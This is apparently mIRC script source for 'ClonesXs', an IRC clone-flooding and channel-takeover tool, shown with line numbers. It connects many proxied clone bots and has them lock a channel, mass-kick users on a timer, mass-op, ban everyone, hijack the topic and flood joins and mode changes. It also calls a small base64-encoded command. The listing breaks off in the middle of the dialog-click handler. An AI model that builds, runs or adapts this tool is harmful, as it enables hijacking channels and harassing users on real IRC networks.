1.
alias overtake_kickreason {
  2.
  if ($file(kick.reasons) != $null) {
    3.
    inc %proxy.kreason
    4.
    if (%proxy.kreason == $null || %proxy.kreason > $lines(kick.reasons)) {
      5.
      set %proxy.kreason 1
      6.
    }
    7.
    return $read(kick.reasons,n,%proxy.kreason)
    8.
  }
  9.
}
10.
alias proxy_taker {
  11.
  var %x = 1
  12.
  while ($did(p.cloning,339,%x) != $null) {
    13.
    if ($did(p.cloning,339,%x) == $1) {
      14.
      return 1
      15.
    }
    16.
    inc %x
    17.
  }
  18.
  var %x = 1
  19.
  while ($did(p.cloning,27,%x) != $null) {
    20.
    if ($did(p.cloning,27,%x) iswm $1) {
      21.
      return 1
      22.
    }
    23.
    inc %x
    24.
  }
  25.
}
26.
alias proxy_tag {
  27.
  var %x = 1
  28.
  while ($did(p.cloning,339,%x) != $null) {
    29.
    if ($did(p.cloning,339,%x) == $1) {
      30.
      return 1
      31.
    }
    32.
    inc %x
    33.
  }
  34.
  var %x = 1
  35.
  while ($did(p.cloning,51,%x) != $null) {
    36.
    if ($did(p.cloning,51,%x) isin $1) {
      37.
      return 1
      38.
    }
    39.
    inc %x
    40.
  }
  41.
}
42.
alias go.reop {
  43.
  p.cloning.runcmd privmsg L : $+ op $did($dname,16)
  44.
}
45.
alias go.invite {
  46.
  p.cloning.runcmd privmsg L : $+ invite $did($dname,16)
  47.
}
48.
alias go.masskick {
  49.
  if ($me ison $1) {
    50.
    did -b p.cloning 15
    51.
    did -e p.cloning 18
    52.
    var %x = 1
    53.
    var %n = 1
    54.
    var %nl =
    55.
    while ($did(p.cloning,339,%x) != $null) {
      56.
      if ($did(p.cloning,339,%x) !isop $1) {
        57.
        goto end
        58.
      }
      59.
      while ($gettok(%nl,0,32) < 6 && $nick($1,%n) != $null) {
        60.
        if ($nick($1,%n) != $me && $nick($1,%n) != s && $nick($1,%n) != l && $nick($1,%n) != q && $nick($1,%n) && $proxy_taker($nick($1,%n)) == $null && $proxy_tag($nick($1,%n)) == $null) {
          61.
          var %nl = %nl $nick($1,%n)
          62.
        }
        63.
        inc %n
        64.
      }
      65.
      if (%nl != $null && %nl != $chr(61)) {
        66.
        var %i = 1
        67.
        while ($gettok($gettok(%nl,2-,32),%i,32) != $null) {
          68.
          sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,%x)) KICK $1 $gettok($gettok(%nl,2-,32),%i,32) : $+ $overtake_kickreason 4,0» 4K1ickz: %kickzz 4«
          69.
          inc %i
          70.
          inc %kickzz
          71.
        }
        72.
        var %nl =
        73.
      }
      74.
      :end
      75.
      inc %x
      76.
    }
    77.
    .timer_masskick 1 5 go.masskick $1
    78.
  }
  79.
}
80.
alias ClonesXs {
  81.
  if ($dialog(p.cloning)) { dialog -v p.cloning | $decode(Y29weQ==,m) }
  82.
  else { dialog -md p.cloning p.cloning | $decode(Y29weQ==,m) }
  83.
}
84.
dialog p.cloning {
  85.
  title "ClonesX"
  86.
  size -1 -1 268 205
  87.
  option dbu
  88.
  tab "Connection", 200, 1 1 265 200
  89.
  box "Server", 8, 5 20 186 21, tab 200
  90.
  text "Host/Ip:", 9, 7 28 20 8, result tab 200
  91.
  edit "", 10, 28 27 92 10, tab 200 autohs
  92.
  text "Port:", 1, 123 29 17 8, tab 200
  93.
  combo 12, 142 27 46 50, tab 200 size edit drop
  94.
  box "Nick", 34, 5 44 111 22, tab 200
  95.
  radio "", 35, 8 53 7 10, tab 200 flat
  96.
  radio "Other", 36, 57 53 22 10, tab 200 flat
  97.
  combo 37, 16 52 41 50, tab 200 size drop
  98.
  edit "", 38, 80 53 34 10, tab 200 autohs
  99.
  box "Connection", 45, 6 101 110 67, tab 200
  100.
  text "Number of clones:", 49, 10 110 48 20, tab 200
  101.
  combo 50, 68 108 43 80, tab 200 size edit drop
  102.
  text "Mode:", 215, 10 121 15 8, tab 200
  103.
  combo 47, 68 120 43 50, tab 200 size drop
  104.
  button "&Connect", 48, 10 144 101 10, disable tab 200 flat
  105.
  button "&Disconnect", 52, 10 156 101 10, tab 200 flat
  106.
  box "Debug", 219, 119 44 142 143, tab 200
  107.
  edit "", 44, 121 51 138 134, tab 200 read multi autohs vsbar
  108.
  box "State", 39, 6 67 110 31, tab 200
  109.
  text "Connected clones:", 40, 10 75 47 8, tab 200
  110.
  text "Open sockets:", 42, 10 86 41 8, tab 200
  111.
  button "Clear Debug", 53, 6 174 110 13, tab 200 flat
  112.
  text "-", 41, 78 76 34 8, tab 200
  113.
  text "-", 43, 78 86 34 8, tab 200
  114.
  text "Delay:", 390, 10 133 25 8, tab 200
  115.
  combo 391, 68 132 43 60, tab 200 size edit drop
  116.
  link "Xenon", 361, 199 28 54 8, tab 200
  117.
  tab "Firewall", 201
  118.
  box "Proxy", 236, 3 18 88 170, tab 201
  119.
  box "Socks 4", 234, 90 18 88 170, tab 201
  120.
  box "Socks 5", 235, 177 18 88 170, tab 201
  121.
  text "Host/Ip:", 55, 5 26 20 8, tab 201
  122.
  edit "", 2, 26 25 62 10, tab 201 autohs
  123.
  text "Port:", 56, 5 36 17 8, tab 201
  124.
  edit "", 3, 26 36 62 10, tab 201 autohs
  125.
  button "&Add", 5, 5 47 39 9, disable tab 201 flat
  126.
  button "&Import", 6, 49 47 39 9, tab 201 flat
  127.
  button "&Delete", 7, 5 57 39 9, tab 201 flat
  128.
  button "Delete A&ll", 244, 49 57 39 9, tab 201 flat
  129.
  list 4, 5 68 85 118, tab 201 size hsbar vsbar
  130.
  list 69, 92 68 85 118, tab 201 size hsbar vsbar
  131.
  button "&Delete", 72, 92 57 39 9, tab 201 flat
  132.
  button "Delete A&ll", 256, 136 57 39 9, tab 201 flat
  133.
  button "&Import", 71, 136 47 39 9, tab 201 flat
  134.
  button "&Add", 70, 92 47 39 9, disable tab 201 flat
  135.
  text "Port:", 67, 92 36 17 8, tab 201
  136.
  edit "", 68, 113 36 62 10, tab 201 autohs
  137.
  edit "", 66, 113 25 62 10, tab 201 autohs
  138.
  text "Host/Ip:", 65, 92 26 20 8, tab 201
  139.
  text "Host/Ip:", 74, 179 26 20 8, tab 201
  140.
  edit "", 75, 200 25 62 10, tab 201 autohs
  141.
  edit "", 77, 200 36 62 10, tab 201 autohs
  142.
  text "Port:", 76, 179 36 17 8, tab 201
  143.
  button "&Add", 79, 179 47 39 9, disable tab 201 flat
  144.
  button "&Import", 80, 223 47 39 9, tab 201 flat
  145.
  button "Delete A&ll", 265, 223 57 39 9, tab 201 flat
  146.
  button "&Delete", 81, 179 57 39 9, tab 201 flat
  147.
  list 78, 179 68 85 118, tab 201 size hsbar vsbar
  148.
  tab "Actions", 202
  149.
  box "Actions", 305, 3 19 261 86, tab 202
  150.
  button "Msg", 310, 9 71 37 10, disable tab 202 flat
  151.
  button "Notice", 311, 9 82 37 10, disable tab 202 flat
  152.
  button "Ping", 309, 9 60 37 10, disable tab 202 flat
  153.
  button "Version", 308, 9 49 37 10, disable tab 202 flat
  154.
  button "Part", 307, 9 38 37 10, disable tab 202 flat
  155.
  button "Join", 306, 9 27 37 10, disable tab 202 flat
  156.
  text "Channel:", 313, 47 28 25 8, tab 202
  157.
  button "Command", 312, 9 93 37 10, disable tab 202 flat
  158.
  edit "", 314, 81 27 75 10, tab 202 autohs
  159.
  text "Channel:", 315, 47 40 25 8, tab 202
  160.
  edit "", 316, 81 38 75 10, tab 202 autohs
  161.
  edit "", 318, 81 49 75 10, tab 202 autohs
  162.
  text "Channel/Nick:", 317, 47 50 34 8, tab 202
  163.
  text "Channel/Nick:", 319, 47 61 34 8, tab 202
  164.
  edit "", 320, 81 60 75 10, tab 202 autohs
  165.
  text "Channel/Nick:", 321, 47 72 34 8, tab 202
  166.
  edit "", 322, 81 71 75 10, tab 202 autohs
  167.
  text "Message:", 323, 160 72 24 8, tab 202
  168.
  edit "", 324, 183 71 75 10, tab 202 autohs
  169.
  text "Channel/Nick:", 325, 47 83 34 8, tab 202
  170.
  edit "", 326, 81 82 75 10, tab 202 autohs
  171.
  text "Message:", 327, 160 83 24 8, tab 202
  172.
  edit "", 328, 183 82 75 10, tab 202 autohs
  173.
  edit "", 329, 47 93 211 10, tab 202 autohs
  174.
  edit "b0tz-r-cumn-", 331, 202 28 56 10, tab 202 autohs
  175.
  button "Nick Change", 330, 158 28 42 10, disable tab 202 flat
  176.
  box "From...", 332, 158 40 100 29, tab 202
  177.
  radio "Global", 333, 163 47 27 10, disable tab 202 flat
  178.
  radio "Selected", 334, 212 47 42 10, disable tab 202 flat
  179.
  radio "Group 1", 335, 163 56 30 10, disable tab 202 flat
  180.
  radio "Group 2", 336, 193 56 30 10, disable tab 202 flat
  181.
  radio "Group 3", 337, 225 56 30 10, disable tab 202 flat
  182.
  box "Nick List", 338, 3 105 261 85, tab 202
  183.
  list 339, 5 112 53 76, disable tab 202 size extsel vsbar
  184.

  185.
  button "Add to Group 1", 340, 59 124 39 11, disable tab 202 flat
  186.
  button "Add to Group 2", 341, 59 143 39 11, disable tab 202 flat
  187.
  box "Group 3", 370, 207 110 54 79, tab 202
  188.
  button "Delete", 371, 209 118 19 8, disable tab 202 flat
  189.
  button "Delete all", 372, 228 118 31 8, disable tab 202 flat
  190.
  list 373, 208 126 52 62, disable tab 202 size vsbar
  191.
  list 369, 154 126 52 62, disable tab 202 size vsbar
  192.
  button "Delete all", 368, 174 118 31 8, disable tab 202 flat
  193.
  button "Delete", 367, 155 118 19 8, disable tab 202 flat
  194.
  box "Group 2", 366, 153 110 54 79, tab 202
  195.
  list 351, 100 126 52 62, disable tab 202 size vsbar
  196.
  button "Delete All", 350, 120 118 31 8, disable tab 202 flat
  197.
  button "Delete", 349, 101 118 19 8, disable tab 202 flat
  198.
  box "Group 1", 348, 99 110 54 79, tab 202
  199.
  button "Add to Group 3", 342, 59 161 39 11, disable tab 202 flat
  200.
  tab "Overtake", 11
  201.
  box "Control", 14, 5 16 126 120, tab 11
  202.
  button "Start", 15, 59 51 30 8, tab 11 flat
  203.
  text " Channel:", 13, 7 32 28 8, tab 11
  204.
  edit "#", 16, 37 31 84 10, tab 11 autohs
  205.
  text " Overtake:", 17, 7 51 50 8, tab 11
  206.
  button "Stop", 18, 91 51 30 8, disable tab 11 flat
  207.
  text " Clones Mass", 19, 7 60 50 8, tab 11
  208.
  button "Op", 20, 59 60 30 8, tab 11 flat
  209.
  box "Kick Reasons", 22, 132 85 127 94, tab 11
  210.
  list 23, 135 93 120 74, tab 11 size
  211.
  button "Add", 24, 136 168 40 8, tab 11 flat
  212.
  button "Del", 25, 177 168 40 8, tab 11 flat
  213.
  box "Protected Nicks", 26, 132 19 127 64, tab 11
  214.
  list 27, 134 26 122 46, tab 11 size
  215.
  button "Add", 28, 136 73 40 8, tab 11 flat
  216.
  button "Del", 29, 180 73 40 8, tab 11 flat
  217.
  box "Protected Tags", 46, 4 137 127 42, tab 11
  218.
  list 51, 6 144 122 24, tab 11 size
  219.
  button "Add", 54, 7 168 40 8, tab 11 flat
  220.
  button "Del", 57, 49 168 40 8, tab 11 flat
  221.
  edit "Authnick", 58, 7 105 50 10, tab 11
  222.
  edit "Authpw", 59, 7 115 50 10, tab 11
  223.
  button "Authen", 60, 8 126 30 8, tab 11 flat
  224.
  button "Join", 61, 6 42 25 8, tab 11 flat
  225.
  text " L/Q Reop", 62, 7 78 25 8, tab 11
  226.
  text " L/Q Invite", 63, 7 87 29 8, tab 11
  227.
  button "Reop", 64, 59 78 62 8, tab 11 flat
  228.
  button "Invite", 73, 59 87 62 8, tab 11 flat
  229.
  text " O-Topic setzen", 84, 7 69 40 8, tab 11
  230.
  button "Set", 85, 59 69 62 8, tab 11 flat
  231.
  button "invite", 21, 91 60 30 8, tab 11 flat
  232.
  button "Join 10", 97, 33 42 25 8, tab 11 flat
  233.
  button "Rejoin", 98, 91 42 30 8, tab 11 flat
  234.
  button "+x", 99, 40 126 15 8, tab 11 flat
  235.
  text " Ban *!*@*", 100, 7 96 30 8, tab 11
  236.
  button "Set", 104, 59 96 30 8, tab 11 flat
  237.
  button "Unset", 105, 91 96 30 8, tab 11 flat
  238.
  button "Op Clones", 106, 60 123 30 8, tab 11 flat
  239.
  text " Main IRC Command:", 107, 59 114 65 8, tab 11
  240.
  button "Topic", 108, 91 123 30 8, tab 11 flat
  241.
  button "Part", 109, 60 42 29 8, tab 11 flat
  242.
  button "Nickchange", 110, 59 105 62 8, tab 11 flat
  243.
  box "Topic", 111, 4 180 260 19, tab 11
  244.
  button "Add", 113, 200 188 30 8, tab 11 flat
  245.
  button "Del", 114, 231 188 30 8, tab 11 flat
  246.
  text "ClonesXs v1.2", 115, 182 5 86 8, disable tab 11
  247.
  text " Clones:", 88, 7 23 22 8, tab 11
  248.
  text " ", 90, 29 23 22 8, tab 11
  249.
  list 91, 6 187 193 10, tab 11 size
  250.
  text " Sockets:", 92, 63 23 25 8, tab 11
  251.
  text " ", 93, 88 23 35 8, tab 11
  252.
  tab "About", 30
  253.
  box "About", 31, 6 18 256 61, tab 30
  254.
  text " ClonesXs Coder: Kraix", 32, 10 26 247 8, tab 30
  255.
  text " Modded by: Xenon(uCiTakeu)", 33, 10 34 247 8, tab 30
  256.
  text " Modded ClonesXs Version: 1.2", 82, 10 42 248 7, tab 30
  257.
  text " IRC-Channel: #[Xenon]]", 83, 10 49 248 8, tab 30
  258.
  text " Homepage: http://www.clanboardzone.de/Xenon", 86, 10 57 248 8, tab 30
  259.
  text " Modded ClonesXs v1.2", 87, 10 65 248 8, tab 30
  260.
  text "", 89, 4 191 236 8, disable tab 30
  261.
  menu "File", 403
  262.
  item "&Exit", 476, 403
  263.
  menu "Specials", 411
  264.
  item "Ip-Ports", 412, 411
  265.
  menu "Nick List", 413, 411
  266.
  menu "Nicks Change", 414, 413
  267.
  item "Default List", 415, 414
  268.
  item "List...", 416, 414
  269.
  menu "Save nicks", 417, 413
  270.
  item "Default List", 418, 417
  271.
  item "List...", 419, 417
  272.
  menu "Connect with list", 420, 413
  273.
  item "Default List", 421, 420
  274.
  item "List...", 422, 420
  275.
}
276.

277.
on 1:DIALOG:p.cloning:edit:*: {
  278.
  if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
  279.
  if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
  280.
  if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
  281.

  282.
  if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
    283.
    p.cloning.conEcheck
    284.
  }
  285.
  if ($did == 38) { if ($len($did($dname,38)) > 6) { p.cloning.fal The length must be al least 6 chars. | did -r $dname 38 } }
  286.

  287.
  if ($did == 314) {     
    288.
    if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
    289.
    else did -b $dname 306
    290.
  }
  291.
  if ($did == 316) {
    292.
    if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
    293.
    else did -b $dname 307
    294.
  }
  295.
  if ($did == 318) {
    296.
    if (& iswm $did($dname,$did).text) did -e $dname 308
    297.
    else did -b $dname 308
    298.
  }
  299.
  if ($did == 320) {
    300.
    if (& iswm $did($dname,$did).text) did -e $dname 309
    301.
    else did -b $dname 309
    302.
  }
  303.
  if ($did == 322) || ($did == 324) {
    304.
    if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
    305.
    else did -b $dname 310
    306.
  }
  307.
  if ($did == 326) || ($did == 328) {
    308.
    if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
    309.
    else did -b $dname 311
    310.
  }
  311.
  if ($did == 329) {
    312.
    if (* iswm $did($dname,$did).text) did -e $dname 312
    313.
    else did -b $dname 312
    314.
  }
  315.
  if ($did == 331) {
    316.
    if (& iswm $did($dname,$did).text) did -e $dname 330
    317.
    else did -b $dname 330
    318.
  }
  319.
}
320.
alias -l p.cloning.conEcheck {
  321.
  if ($dialog(p.cloning)) {
    322.
    if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) &&  ($abs($did($dname,50)) != 0) {
      323.
      if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
      324.
      elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
      325.
      else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
      326.
    }
    327.
    else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
    328.
  }
  329.
}
330.
alias -l p.clon.fire.secl {
  331.
  if ($dialog(p.cloning)) {
    332.
    if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
    333.
    elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
    334.
  }
  335.
}
336.
alias -l p.clon.fire.secl1 {
  337.
  var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
  338.
  if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
    339.
    did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
    340.
  }
  341.
}
342.
alias -l p.cloning.fire.secl2 {
  343.
  if ($dialog(p.cloning)) {
    344.
    did -d $dname $$1 $$did($dname,$$1).sel
    345.
  }
  346.
}
347.
alias -l p.cloning.fire.secl3 {
  348.
  if ($dialog(p.cloning)) {
    349.
    var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select the file where the list of proxyes is,Importa)
    350.
    if (%p.cloning.proFile) {
      351.
      set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
      352.
      var %i = 1
      353.
      while (%i <= $lines(%p.cloning.proFile)) {
        354.
        var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
        355.
        if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
        356.
        if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0))  {
          357.
          p.cloning.fal The file must contain in every line the proxy and the port. Ex, one.proxy.com 8080 Ex2. other.proxy.com:8080
          358.
          return
          359.
        }
        360.
        if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
        361.
        var %i = %i + 1
        362.
      }
      363.
      unset %p.cloning.proFile.p
      364.
    }
    365.
  }
  366.
}
367.
alias -l p.cloning.ddnsd {
  368.
  if ($dialog(p.cloning)) {
    369.
    if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
      370.
      .enable #p.cloning.DdnsD
      371.
      .dns $did(p.cloning,10).text
      372.
      p.clon.stats -Resolving Host/Ip... $time
      373.
    }
    374.
    else { p.cloning.jj } 
    375.
  }
  376.
}
377.
#p.cloning.DdnsD off
378.
on 1:DNS: {
  379.
  if ($dialog(p.cloning)) {
    380.
    if ($iaddress) { var %resulto = $iaddress }
    381.
    else { var %resulto = $naddress }
    382.
    did -o p.cloning 10 1 %resulto
    383.
    .disable #p.cloning.DdnsD
    384.
    p.clon.stats -Resolved a %resulto $time
    385.
    p.clon.stats -
    386.
    p.cloning.jj
    387.
  }
  388.
  haltdef
  389.
}
390.
#p.cloning.DdnsD end
391.
on 1:DIALOG:p.cloning:sclick:*: {
  392.
  if ($did == 15) {
    393.
    var %x = 1
    394.
    while ($did(339,%x) != $null) {
      395.
      if ($did(339,%x) isop $did(16)) {
        396.
        sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) +ilk 1 roflownt
        397.
        var %x = 99999999
        398.
        go.masskick $did(16)
        399.
      }
      400.
      inc %x
      401.
    }
    402.
  }
  403.
  if ($did == 20) {
    404.
    go.clonesop
    405.
  }
  406.
  if ($did == 21) {
    407.
    go.clonesinvite
    408.
  }
  409.
  if ($did == 60) {
    410.
    p.cloning.runcmd privmsg Q@CServe.quakenet.org : $+ auth $did($dname,58) $did($dname,59)
    411.
  }
  412.
  if ($did == 64) {
    413.
    go.reop
    414.
  }
  415.
  if ($did == 73) {
    416.
    go.invite
    417.
    timer_invite 1 1 p.cloning.runcmd join $did($dname,16)
    418.
  }
  419.
  if ($did == 85) {
    420.
    p.cloning.runcmd topic $did(16) : $+ $read(topic.proxy)
    421.
  }
  422.
  if ($did == 25 && $did(23).sel != $null) {
    423.
    write -dl $+ $did(23).sel kick.reasons   
    424.
    did -d $dname 23 $did(23).sel
    425.
  }
  426.
  if ($did == 114 && $did(91).sel != $null) {
    427.
    write -dl $+ $did(91).sel topic.proxy   
    428.
    did -d $dname 91 $did(91).sel
    429.
  }
  430.
  if ($did == 57 && $did(51).sel != $null) {
    431.
    write -dl $+ $did(51).sel protected.tags   
    432.
    did -d $dname 51 $did(51).sel
    433.
  }
  434.
  if ($did == 61) {
    435.
    p.cloning.runcmd join $did(16)
    436.
  }
  437.
  if ($did == 97) {
    438.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) join $did(16)
    439.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) join $did(16)
    440.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) join $did(16)
    441.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) join $did(16)
    442.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) join $did(16)
    443.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) join $did(16)
    444.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) join $did(16)
    445.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) join $did(16)
    446.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) join $did(16)
    447.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) join $did(16)
    448.
  }
  449.
  if ($did == 98) {
    450.
    p.cloning.runcmd part $did(16)
    451.
    p.cloning.runcmd join $did(16)
    452.
  }
  453.
  if ($did == 99) {
    454.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,1)) mode $did(p.cloning,339,1) +x
    455.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,2)) mode $did(p.cloning,339,2) +x
    456.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,3)) mode $did(p.cloning,339,3) +x
    457.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,4)) mode $did(p.cloning,339,4) +x
    458.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,5)) mode $did(p.cloning,339,5) +x
    459.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,6)) mode $did(p.cloning,339,6) +x
    460.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,7)) mode $did(p.cloning,339,7) +x
    461.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,8)) mode $did(p.cloning,339,8) +x
    462.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,9)) mode $did(p.cloning,339,9) +x
    463.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,10)) mode $did(p.cloning,339,10) +x
    464.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,11)) mode $did(p.cloning,339,11) +x
    465.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,12)) mode $did(p.cloning,339,12) +x
    466.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,13)) mode $did(p.cloning,339,13) +x
    467.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,14)) mode $did(p.cloning,339,14) +x
    468.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,15)) mode $did(p.cloning,339,15) +x
    469.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,16)) mode $did(p.cloning,339,16) +x
    470.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,17)) mode $did(p.cloning,339,17) +x
    471.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,18)) mode $did(p.cloning,339,18) +x
    472.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,19)) mode $did(p.cloning,339,19) +x
    473.
    sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,20)) mode $did(p.cloning,339,20) +x
    474.
  }
  475.
  if ($did == 104) {
    476.
    p.cloning.runcmd ban $did(16) *!*@
    477.
  }
  478.
  if ($did == 105) {
    479.
    p.cloning.runcmd ban -r $did(16) *!*@
    480.
  }
  481.
  if ($did == 106) {
    482.
    /op.allclones #[Xenon]
    483.
  }
  484.
  if ($did == 108) {
    485.
    /ot.topic
    486.
  }
  487.
  if ($did == 109) {
    488.
    p.cloning.runcmd part $did(16)
    489.
  }
  490.
  if ($did == 110) {
    491.
    p.cloning.runcmd nick %proxynick
    492.
  }
  493.
  if ($did == 29 && $did(27).sel != $null) {
    494.
    write -dl $+ $did(27).sel protected.nicks
    495.
    did -d $dname 27 $did(27).sel
    496.
  }
  497.
  if ($did == 24) {
    498.
    var %r = $?="Enter a kick reason"
    499.
    if (%r != $null) {
      500.
      did -a $dname 23 %r
      501.
      did -z $dname 23
      502.
      write kick.reasons %r
      503.
    }
    504.
  }
  505.
  if ($did == 113) {
    506.
    var %proxytopic = $?="Enter a topic"
    507.
    if (%proxytopic != $null) {
      508.
      did -a $dname 91 %proxytopic
      509.
      did -z $dname 91
      510.
      write topic.proxy %proxytopic
      511.
    }
    512.
  }
  513.
  if ($did == 54) {
    514.
    var %r = $?="Enter a Tag"
    515.
    if (%r != $null) {
      516.
      did -a $dname 51 %r
      517.
      did -z $dname 51
      518.
      write protected.tags %r
      519.
    }
    520.
  }
  521.
  if ($did == 28) {
    522.
    var %r = $?="Enter a nick"
    523.
    if (%r != $null) {
      524.
      did -a $dname 27 %r
      525.
      did -z $dname 27
      526.
      write protected.nicks %r
      527.
    }
    528.
  }
  529.
  if ($did == 18) {
    530.
    .timer_masskick off
    531.
    did -e $dname 15
    532.
    did -b $dname 18
    533.
    var %x = 1
    534.
    while ($did(339,%x) != $null) {
      535.
      if ($did(339,%x) isop $did(16)) {
        536.
        sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) -ilk roflownt
        537.
        var %x = 99999999
        538.
      }
      539.
      inc %x
      540.
    }
    541.
  }
  542.
  if ($did == 53) { did -r $dname 44 }
  543.
  if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  544.
  if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
  545.
  ;if ($did == 46) {
  546.
  ;  if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
  547.
  ;  else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
  548.
  ;}
  549.
  if ($did == 5) { p.clon.fire.secl1 4 2 3 }
  550.
  if ($did == 70) { p.clon.fire.secl1 69 66 68 }
  551.
  if ($did == 79) { p.clon.fire.secl1 78 75 77 }
  552.

  553.
  if ($did == 7) { p.cloning.fire.secl2 4 }
  554.
  if ($did == 72) { p.cloning.fire.secl2 69 }
  555.
  if ($did == 81) { p.cloning.fire.secl2 78 }
  556.

  557.
  if ($did == 6) { p.cloning.fire.secl3 4 }
  558.
  if ($did == 71) { p.cloning.fire.secl3 69 }
  559.
  if ($did == 80) { p.cloning.fire.secl3 78 }
  560.

  561.
  if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
  562.
  if ($did == 52) {
    563.
    if ($sock(p.cloning*)) {
      564.
      var %p.cloning.go.kit = DIE YO!
      565.
      if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit BAI }
      566.
      .sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
      567.
      .timerPCloning.out 1 1 .sockclose p.cloning.*
      568.
    }
    569.
    ;.remove CloneX.ini | .remove CloneXo.ini
    570.
    if ($hget(p.cloning.a)) { hfree p.cloning.a }
    571.
    .timerP.cloning.Recr off
    572.
    p.cloning.recr 1
    573.
    unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
    574.
  }
  575.

  576.
  if ($did == 339) {
    577.
    if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
    578.
    else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 } 
    579.
  }
  580.

  581.
  if ($did == 244) { did -r $dname 4 }
  582.
  if ($did == 256) { did -r $dname 69 }
  583.
  if ($did == 265) { did -r $dname 78 }
  584.

  585.
  if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
  586.
  if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
  587.
  if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
  588.
  if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
  589.
  if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
  590.
  if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
  591.
  if ($did == 350) { did -r $dname 351 }
  592.
  if ($did == 368) { did -r $dname 369 }
  593.
  if ($did == 372) { did -r $dname 373 }
  594.

  595.
  if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
  596.
  if ($did == 307) { p.cloning.runcmd part $did($dname,316).text }
  597.
